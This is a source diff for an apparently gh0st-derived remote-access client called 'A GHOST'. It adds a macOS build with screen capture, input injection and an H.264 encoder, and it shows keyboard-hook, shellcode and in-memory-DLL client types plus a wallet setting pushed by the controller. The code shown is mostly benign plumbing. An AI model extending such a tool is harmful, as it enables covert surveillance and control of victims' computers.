@@ -1003,8 +1009,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE_CANCEL: { case COMMAND_SHARE_CANCEL: {
if (m_ClientApp->IsMainInstance()) { if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH); m_cfg->SetStr("settings", "share_list", "");
cfg.SetStr("settings", "share_list", "");
} }
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ? ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
"Cancel sharing and next run to take effort" : "No permission to cancel sharing"); "Cancel sharing and next run to take effort" : "No permission to cancel sharing");
@@ -1027,8 +1032,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval); Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval);
} }
if (m_ClientApp->IsMainInstance()) { if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH); m_cfg->SetStr("settings", "wallet", m_settings.WalletAddress);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
} }
CManager* pMgr = (CManager*)m_hKeyboard->user; CManager* pMgr = (CManager*)m_hKeyboard->user;
if (pMgr) { if (pMgr) {

View File

@@ -134,6 +134,7 @@ struct RttEstimator {
class CKernelManager : public CManager class CKernelManager : public CManager
{ {
public: public:
iniFile* m_cfg = nullptr;
CONNECT_ADDRESS* m_conn; CONNECT_ADDRESS* m_conn;
HINSTANCE m_hInstance; HINSTANCE m_hInstance;
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s); CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,1 FILEVERSION 1,0,3,2
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.1" VALUE "FileVersion", "1.0.3.2"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026" VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

Binary file not shown.

View File

@@ -1,6 +1,6 @@
/* /*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode. This is an implementation of the AES algorithm, specifically ECB, AES_MODE_CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256. Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
The implementation is verified against the test vectors in: The implementation is verified against the test vectors in:
@@ -221,7 +221,7 @@ void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{ {
KeyExpansion(ctx->RoundKey, key); KeyExpansion(ctx->RoundKey, key);
} }
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) #if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv) void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{ {
KeyExpansion(ctx->RoundKey, key); KeyExpansion(ctx->RoundKey, key);
@@ -528,7 +528,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
#if defined(CTR) && (CTR == 1) #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */ /* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
@@ -560,5 +560,5 @@ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
} }
} }
#endif // #if defined(CTR) && (CTR == 1) #endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)

View File

@@ -7,7 +7,7 @@
// #define the macros below to 1/0 to enable/disable the mode of operation. // #define the macros below to 1/0 to enable/disable the mode of operation.
// //
// CBC enables AES encryption in CBC-mode of operation. // CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode. // AES_MODE_CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. // ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
// The #ifndef-guard allows it to be configured before #include'ing or at compile time. // The #ifndef-guard allows it to be configured before #include'ing or at compile time.
@@ -19,8 +19,8 @@
#define ECB 1 #define ECB 1
#endif #endif
#ifndef CTR #ifndef AES_MODE_CTR
#define CTR 1 #define AES_MODE_CTR 1
#endif #endif
@@ -43,13 +43,13 @@
struct AES_ctx { struct AES_ctx {
uint8_t RoundKey[AES_keyExpSize]; uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) #if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
uint8_t Iv[AES_BLOCKLEN]; uint8_t Iv[AES_BLOCKLEN];
#endif #endif
}; };
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) #if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif #endif
@@ -75,7 +75,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CBC) && (CBC == 1) #endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1) #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
// Same function for encrypting as for decrypting. // Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output // IV is incremented for every block, and used after encryption as XOR-compliment for output
@@ -84,7 +84,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
// no IV should ever be reused with the same key // no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CTR) && (CTR == 1) #endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
#endif // _AES_H_ #endif // _AES_H_

View File

@@ -41,7 +41,10 @@
typedef int64_t __int64; typedef int64_t __int64;
typedef uint16_t WORD; typedef uint16_t WORD;
typedef uint32_t DWORD; typedef uint32_t DWORD;
typedef int BOOL, SOCKET; #ifndef BOOL
typedef bool BOOL;
#endif
typedef int SOCKET;
typedef unsigned int ULONG; typedef unsigned int ULONG;
typedef unsigned int UINT; typedef unsigned int UINT;
typedef void VOID; typedef void VOID;
@@ -533,6 +536,7 @@ enum {
CLIENT_TYPE_SHELLCODE = 4, // Shellcode CLIENT_TYPE_SHELLCODE = 4, // Shellcode
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行 CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
CLIENT_TYPE_LINUX = 6, // LINUX 客户端 CLIENT_TYPE_LINUX = 6, // LINUX 客户端
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
}; };
enum { enum {
@@ -558,6 +562,8 @@ inline const char* GetClientType(int typ)
return "MDLL"; return "MDLL";
case CLIENT_TYPE_LINUX: case CLIENT_TYPE_LINUX:
return "LNX"; return "LNX";
case CLIENT_TYPE_MACOS:
return "MAC";
default: default:
return "DLL"; return "DLL";
} }

View File

@@ -27,7 +27,7 @@ typedef struct {
} Timed; } Timed;
} Config; } Config;
unsigned __int64 LastRunTime; uint64_t LastRunTime;
unsigned char CurrentCount; unsigned char CurrentCount;
unsigned char MaxCount; unsigned char MaxCount;
} ScheduleParams; } ScheduleParams;

BIN
linux/lib/libzstd.a Normal file

Binary file not shown.

73
macos/CMakeLists.txt Normal file
View File

@@ -0,0 +1,73 @@
cmake_minimum_required(VERSION 3.15)
project(ghost_macos)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
# macOS deployment target
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13" CACHE STRING "Minimum macOS version")
# Universal Binary (Intel + Apple Silicon)
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE STRING "Build architectures")
include_directories(../)
include_directories(../client)
include_directories(../compress)
# Source files
set(SOURCES
main.mm
../client/Buffer.cpp
../client/IOCPClient.cpp
ScreenHandler.mm
InputHandler.mm
SystemManager.mm
Permissions.mm
H264Encoder.mm
)
# Create executable
add_executable(ghost ${SOURCES})
# Include directories
target_include_directories(ghost PRIVATE
${CMAKE_CURRENT_SOURCE_DIR}
)
# Find and link macOS frameworks
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
find_library(SECURITY_FRAMEWORK Security REQUIRED)
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
target_link_libraries(ghost PRIVATE
${COCOA_FRAMEWORK}
${COREGRAPHICS_FRAMEWORK}
${IOKIT_FRAMEWORK}
${IOSURFACE_FRAMEWORK}
${APPLICATIONSERVICES_FRAMEWORK}
${SECURITY_FRAMEWORK}
${CARBON_FRAMEWORK}
${VIDEOTOOLBOX_FRAMEWORK}
${COREMEDIA_FRAMEWORK}
${COREVIDEO_FRAMEWORK}
"${CMAKE_SOURCE_DIR}/lib/libzstd.a"
)
# Compiler flags
target_compile_options(ghost PRIVATE
-Wall
-Wextra
-fobjc-arc
)
# Output directory
set_target_properties(ghost PROPERTIES
RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
)

86
macos/H264Encoder.h Normal file
View File

@@ -0,0 +1,86 @@
#pragma once
#include <cstdint>
#include <vector>
#include <mutex>
#include <atomic>
#import <VideoToolbox/VideoToolbox.h>
#import <CoreMedia/CoreMedia.h>
class H264Encoder {
public:
H264Encoder();
~H264Encoder();
// Initialize encoder
// @param width: frame width
// @param height: frame height
// @param fps: target frame rate
// @param bitrate: target bitrate in kbps (0 = auto)
bool open(int width, int height, int fps, int bitrate = 0);
// Close encoder and release resources
void close();
// Check if encoder is open
bool isOpen() const { return m_session != nullptr; }
// Encode a frame
// @param bgra: BGRA pixel data (bottom-up or top-down)
// @param bpp: bits per pixel (32 for BGRA)
// @param stride: bytes per row
// @param width: frame width
// @param height: frame height
// @param outData: pointer to receive encoded data pointer
// @param outSize: pointer to receive encoded data size
// @param flipVertical: true if image is bottom-up (BMP format)
// @return: encoded size, or 0 on failure
int encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
bool flipVertical = true);
// Force next frame to be keyframe
void forceKeyframe() { m_forceKeyframe = true; }
// Get last error message
const char* getLastError() const { return m_lastError; }
private:
// VideoToolbox compression callback
static void compressionCallback(void* outputCallbackRefCon,
void* sourceFrameRefCon,
OSStatus status,
VTEncodeInfoFlags infoFlags,
CMSampleBufferRef sampleBuffer);
// Process encoded sample buffer
void processSampleBuffer(CMSampleBufferRef sampleBuffer);
// Convert BGRA to I420 (YUV)
void convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
uint32_t width, uint32_t height,
bool flipVertical);
private:
VTCompressionSessionRef m_session;
int m_width;
int m_height;
int m_fps;
int m_bitrate;
// YUV buffers
std::vector<uint8_t> m_yPlane;
std::vector<uint8_t> m_uPlane;
std::vector<uint8_t> m_vPlane;
// Output buffer
std::vector<uint8_t> m_outputBuffer;
std::mutex m_outputMutex;
// State
std::atomic<bool> m_forceKeyframe;
int64_t m_frameCount;
char m_lastError[256];
};

521
macos/H264Encoder.mm Normal file
View File

@@ -0,0 +1,521 @@
#import "H264Encoder.h"
#import <VideoToolbox/VideoToolbox.h>
#import <CoreMedia/CoreMedia.h>
#import <CoreVideo/CoreVideo.h>
#import <Cocoa/Cocoa.h>
H264Encoder::H264Encoder()
: m_session(nullptr)
, m_width(0)
, m_height(0)
, m_fps(30)
, m_bitrate(0)
, m_forceKeyframe(false)
, m_frameCount(0)
{
m_lastError[0] = '\0';
}
H264Encoder::~H264Encoder()
{
close();
}
bool H264Encoder::open(int width, int height, int fps, int bitrate)
{
close();
// Width and height must be even for H264
m_width = width & ~1;
m_height = height & ~1;
m_fps = fps > 0 ? fps : 30;
m_bitrate = bitrate > 0 ? bitrate : (m_width * m_height * 3); // ~3 bits per pixel default
// Allocate YUV buffers
int ySize = m_width * m_height;
int uvSize = (m_width / 2) * (m_height / 2);
m_yPlane.resize(ySize);
m_uPlane.resize(uvSize);
m_vPlane.resize(uvSize);
// Reserve output buffer
m_outputBuffer.reserve(m_width * m_height);
// Create compression session
CFMutableDictionaryRef encoderSpec = CFDictionaryCreateMutable(
kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
// Prefer hardware encoder
CFDictionarySetValue(encoderSpec,
kVTVideoEncoderSpecification_EnableHardwareAcceleratedVideoEncoder,
kCFBooleanTrue);
// Source image attributes
CFMutableDictionaryRef sourceAttrs = CFDictionaryCreateMutable(
kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
int32_t pixelFormat = kCVPixelFormatType_420YpCbCr8Planar; // I420
CFNumberRef pixelFormatNum = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pixelFormat);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferPixelFormatTypeKey, pixelFormatNum);
CFRelease(pixelFormatNum);
int32_t widthNum = m_width;
int32_t heightNum = m_height;
CFNumberRef widthRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &widthNum);
CFNumberRef heightRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &heightNum);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferWidthKey, widthRef);
CFDictionarySetValue(sourceAttrs, kCVPixelBufferHeightKey, heightRef);
CFRelease(widthRef);
CFRelease(heightRef);
// Create compression session
OSStatus status = VTCompressionSessionCreate(
kCFAllocatorDefault,
m_width,
m_height,
kCMVideoCodecType_H264,
encoderSpec,
sourceAttrs,
kCFAllocatorDefault,
compressionCallback,
this,
&m_session
);
CFRelease(encoderSpec);
CFRelease(sourceAttrs);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionCreate failed: %d", (int)status);
NSLog(@"H264Encoder: %s", m_lastError);
return false;
}
// Configure session properties
// Real-time encoding
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_RealTime, kCFBooleanTrue);
// Profile: Baseline for compatibility
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ProfileLevel,
kVTProfileLevel_H264_Baseline_AutoLevel);
// Allow frame reordering: false for low latency
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AllowFrameReordering, kCFBooleanFalse);
// Max keyframe interval (GOP size) - match Windows x264 setting (15 seconds)
int32_t keyframeInterval = m_fps * 15; // Keyframe every 15 seconds
CFNumberRef keyframeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &keyframeInterval);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_MaxKeyFrameInterval, keyframeRef);
CFRelease(keyframeRef);
// Expected frame rate
CFNumberRef fpsRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_fps);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ExpectedFrameRate, fpsRef);
CFRelease(fpsRef);
// Average bitrate
CFNumberRef bitrateRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_bitrate);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AverageBitRate, bitrateRef);
CFRelease(bitrateRef);
// Data rate limits (for more consistent bitrate)
// [bytes per second, duration in seconds]
int64_t dataRateLimit = m_bitrate / 8;
double duration = 1.0;
CFNumberRef bytesRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &dataRateLimit);
CFNumberRef durationRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberFloat64Type, &duration);
CFTypeRef limits[2] = { bytesRef, durationRef };
CFArrayRef limitsArray = CFArrayCreate(kCFAllocatorDefault, limits, 2, &kCFTypeArrayCallBacks);
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_DataRateLimits, limitsArray);
CFRelease(bytesRef);
CFRelease(durationRef);
CFRelease(limitsArray);
// Prepare to encode
status = VTCompressionSessionPrepareToEncodeFrames(m_session);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionPrepareToEncodeFrames failed: %d", (int)status);
NSLog(@"H264Encoder: %s", m_lastError);
close();
return false;
}
m_frameCount = 0;
m_forceKeyframe = true; // First frame is always keyframe
NSLog(@"H264Encoder opened: %dx%d @ %d fps, bitrate=%d",
m_width, m_height, m_fps, m_bitrate);
return true;
}
void H264Encoder::close()
{
if (m_session) {
VTCompressionSessionInvalidate(m_session);
CFRelease(m_session);
m_session = nullptr;
}
m_yPlane.clear();
m_uPlane.clear();
m_vPlane.clear();
m_outputBuffer.clear();
}
void H264Encoder::convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
uint32_t width, uint32_t height,
bool flipVertical)
{
// Convert BGRA to I420 (YUV 4:2:0 planar)
// Y = 0.299*R + 0.587*G + 0.114*B
// U = -0.169*R - 0.331*G + 0.500*B + 128
// V = 0.500*R - 0.419*G - 0.081*B + 128
uint8_t* yDst = m_yPlane.data();
uint8_t* uDst = m_uPlane.data();
uint8_t* vDst = m_vPlane.data();
int uvWidth = width / 2;
for (uint32_t y = 0; y < height; y++) {
// Source row (handle vertical flip)
uint32_t srcY = flipVertical ? (height - 1 - y) : y;
const uint8_t* srcRow = bgra + srcY * stride;
// Y plane destination
uint8_t* yRow = yDst + y * width;
for (uint32_t x = 0; x < width; x++) {
uint8_t b = srcRow[x * 4 + 0];
uint8_t g = srcRow[x * 4 + 1];
uint8_t r = srcRow[x * 4 + 2];
// Y component
int yVal = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
yRow[x] = (uint8_t)(yVal < 0 ? 0 : (yVal > 255 ? 255 : yVal));
}
// UV planes (subsampled 2x2)
if (y % 2 == 0) {
uint8_t* uRow = uDst + (y / 2) * uvWidth;
uint8_t* vRow = vDst + (y / 2) * uvWidth;
for (uint32_t x = 0; x < width; x += 2) {
// Average 2x2 block
uint32_t srcY2 = flipVertical ? (height - 2 - y) : (y + 1);
if (srcY2 >= height) srcY2 = srcY;
const uint8_t* srcRow2 = bgra + srcY2 * stride;
int r = 0, g = 0, b = 0;
// Top-left
b += srcRow[x * 4 + 0];
g += srcRow[x * 4 + 1];
r += srcRow[x * 4 + 2];
// Top-right
if (x + 1 < width) {
b += srcRow[(x + 1) * 4 + 0];
g += srcRow[(x + 1) * 4 + 1];
r += srcRow[(x + 1) * 4 + 2];
}
// Bottom-left
b += srcRow2[x * 4 + 0];
g += srcRow2[x * 4 + 1];
r += srcRow2[x * 4 + 2];
// Bottom-right
if (x + 1 < width) {
b += srcRow2[(x + 1) * 4 + 0];
g += srcRow2[(x + 1) * 4 + 1];
r += srcRow2[(x + 1) * 4 + 2];
}
r /= 4;
g /= 4;
b /= 4;
// U component
int uVal = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
uRow[x / 2] = (uint8_t)(uVal < 0 ? 0 : (uVal > 255 ? 255 : uVal));
// V component
int vVal = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
vRow[x / 2] = (uint8_t)(vVal < 0 ? 0 : (vVal > 255 ? 255 : vVal));
}
}
}
}
int H264Encoder::encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** outData, uint32_t* outSize,
bool flipVertical)
{
if (!m_session) {
snprintf(m_lastError, sizeof(m_lastError), "Encoder not initialized");
return 0;
}
if (width != (uint32_t)m_width || height != (uint32_t)m_height) {
snprintf(m_lastError, sizeof(m_lastError),
"Frame size mismatch: expected %dx%d, got %dx%d",
m_width, m_height, (int)width, (int)height);
return 0;
}
// Convert BGRA to I420
convertBGRAtoI420(bgra, stride, width, height, flipVertical);
// Create CVPixelBuffer
CVPixelBufferRef pixelBuffer = nullptr;
NSDictionary* options = @{
(id)kCVPixelBufferIOSurfacePropertiesKey: @{}
};
CVReturn cvRet = CVPixelBufferCreate(
kCFAllocatorDefault,
m_width,
m_height,
kCVPixelFormatType_420YpCbCr8Planar,
(__bridge CFDictionaryRef)options,
&pixelBuffer
);
if (cvRet != kCVReturnSuccess) {
snprintf(m_lastError, sizeof(m_lastError),
"CVPixelBufferCreate failed: %d", (int)cvRet);
return 0;
}
// Lock and copy YUV data
CVPixelBufferLockBaseAddress(pixelBuffer, 0);
size_t planeCount = CVPixelBufferGetPlaneCount(pixelBuffer);
if (planeCount < 3) {
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
CVPixelBufferRelease(pixelBuffer);
snprintf(m_lastError, sizeof(m_lastError),
"CVPixelBuffer has %zu planes, expected 3", planeCount);
return 0;
}
// Y plane
uint8_t* yDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 0);
size_t yStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 0);
for (int y = 0; y < m_height; y++) {
memcpy(yDst + y * yStride, m_yPlane.data() + y * m_width, m_width);
}
// U plane
uint8_t* uDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 1);
size_t uStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 1);
int uvHeight = m_height / 2;
int uvWidth = m_width / 2;
for (int y = 0; y < uvHeight; y++) {
memcpy(uDst + y * uStride, m_uPlane.data() + y * uvWidth, uvWidth);
}
// V plane
uint8_t* vDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 2);
size_t vStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 2);
for (int y = 0; y < uvHeight; y++) {
memcpy(vDst + y * vStride, m_vPlane.data() + y * uvWidth, uvWidth);
}
CVPixelBufferUnlockBaseAddress(pixelBuffer, 0);
// Prepare frame properties
CFMutableDictionaryRef frameProps = nullptr;
if (m_forceKeyframe.exchange(false)) {
frameProps = CFDictionaryCreateMutable(
kCFAllocatorDefault, 1,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
CFDictionarySetValue(frameProps,
kVTEncodeFrameOptionKey_ForceKeyFrame,
kCFBooleanTrue);
}
// Clear output buffer
{
std::lock_guard<std::mutex> lock(m_outputMutex);
m_outputBuffer.clear();
}
// Presentation timestamp
CMTime pts = CMTimeMake(m_frameCount++, m_fps);
// Encode frame
OSStatus status = VTCompressionSessionEncodeFrame(
m_session,
pixelBuffer,
pts,
kCMTimeInvalid,
frameProps,
nullptr,
nullptr
);
if (frameProps) {
CFRelease(frameProps);
}
CVPixelBufferRelease(pixelBuffer);
if (status != noErr) {
snprintf(m_lastError, sizeof(m_lastError),
"VTCompressionSessionEncodeFrame failed: %d", (int)status);
return 0;
}
// Wait for encoding to complete
VTCompressionSessionCompleteFrames(m_session, kCMTimeInvalid);
// Return encoded data
std::lock_guard<std::mutex> lock(m_outputMutex);
if (m_outputBuffer.empty()) {
return 0;
}
*outData = m_outputBuffer.data();
*outSize = (uint32_t)m_outputBuffer.size();
return (int)m_outputBuffer.size();
}
void H264Encoder::compressionCallback(void* outputCallbackRefCon,
void* sourceFrameRefCon,
OSStatus status,
VTEncodeInfoFlags infoFlags,
CMSampleBufferRef sampleBuffer)
{
(void)sourceFrameRefCon;
(void)infoFlags;
H264Encoder* encoder = (H264Encoder*)outputCallbackRefCon;
if (status != noErr) {
NSLog(@"H264Encoder: Compression callback error: %d", (int)status);
return;
}
if (!sampleBuffer) {
return;
}
encoder->processSampleBuffer(sampleBuffer);
}
void H264Encoder::processSampleBuffer(CMSampleBufferRef sampleBuffer)
{
// Check if keyframe
CFArrayRef attachments = CMSampleBufferGetSampleAttachmentsArray(sampleBuffer, false);
bool isKeyframe = false;
if (attachments && CFArrayGetCount(attachments) > 0) {
CFDictionaryRef dict = (CFDictionaryRef)CFArrayGetValueAtIndex(attachments, 0);
CFBooleanRef notSync = (CFBooleanRef)CFDictionaryGetValue(dict,
kCMSampleAttachmentKey_NotSync);
isKeyframe = (notSync == nullptr || !CFBooleanGetValue(notSync));
}
std::lock_guard<std::mutex> lock(m_outputMutex);
m_outputBuffer.clear();
// Get format description for SPS/PPS
CMFormatDescriptionRef formatDesc = CMSampleBufferGetFormatDescription(sampleBuffer);
// If keyframe, prepend SPS and PPS
if (isKeyframe && formatDesc) {
// Get SPS
size_t spsSize = 0;
size_t spsCount = 0;
const uint8_t* sps = nullptr;
OSStatus status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 0, &sps, &spsSize, &spsCount, nullptr);
if (status == noErr && sps && spsSize > 0) {
// Write NAL start code + SPS
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
m_outputBuffer.insert(m_outputBuffer.end(), sps, sps + spsSize);
}
// Get PPS
size_t ppsSize = 0;
size_t ppsCount = 0;
const uint8_t* pps = nullptr;
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 1, &pps, &ppsSize, &ppsCount, nullptr);
if (status == noErr && pps && ppsSize > 0) {
// Write NAL start code + PPS
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
m_outputBuffer.insert(m_outputBuffer.end(), pps, pps + ppsSize);
}
}
// Get encoded data
CMBlockBufferRef blockBuffer = CMSampleBufferGetDataBuffer(sampleBuffer);
if (!blockBuffer) {
return;
}
size_t totalLength = 0;
size_t lengthAtOffset = 0;
char* dataPointer = nullptr;
OSStatus status = CMBlockBufferGetDataPointer(
blockBuffer, 0, &lengthAtOffset, &totalLength, &dataPointer);
if (status != noErr || !dataPointer) {
return;
}
// Get NAL unit length size from format description (usually 4 bytes)
int nalLengthSize = 4;
if (formatDesc) {
int tmpNalLengthSize = 0;
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
formatDesc, 0, nullptr, nullptr, nullptr, &tmpNalLengthSize);
if (status == noErr && tmpNalLengthSize > 0 && tmpNalLengthSize <= 4) {
nalLengthSize = tmpNalLengthSize;
}
}
// Convert AVCC format (length-prefixed) to Annex B (start code prefixed)
size_t offset = 0;
while (offset < totalLength) {
// Read NAL unit length (big-endian, variable size)
uint32_t nalLength = 0;
const uint8_t* lengthPtr = (const uint8_t*)dataPointer + offset;
for (int i = 0; i < nalLengthSize; i++) {
nalLength = (nalLength << 8) | lengthPtr[i];
}
offset += nalLengthSize;
if (nalLength > 0 && offset + nalLength <= totalLength) {
// Write NAL start code
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
// Write NAL data
m_outputBuffer.insert(m_outputBuffer.end(),
(uint8_t*)dataPointer + offset,
(uint8_t*)dataPointer + offset + nalLength);
}
offset += nalLength;
}
}

80
macos/InputHandler.h Normal file
View File

@@ -0,0 +1,80 @@
#pragma once
#import <CoreGraphics/CoreGraphics.h>
#include <cstdint>
#include <atomic>
// Windows message constants (for parsing server commands)
#define WM_MOUSEMOVE 0x0200
#define WM_LBUTTONDOWN 0x0201
#define WM_LBUTTONUP 0x0202
#define WM_LBUTTONDBLCLK 0x0203
#define WM_RBUTTONDOWN 0x0204
#define WM_RBUTTONUP 0x0205
#define WM_RBUTTONDBLCLK 0x0206
#define WM_MBUTTONDOWN 0x0207
#define WM_MBUTTONUP 0x0208
#define WM_MBUTTONDBLCLK 0x0209
#define WM_MOUSEWHEEL 0x020A
#define WM_KEYDOWN 0x0100
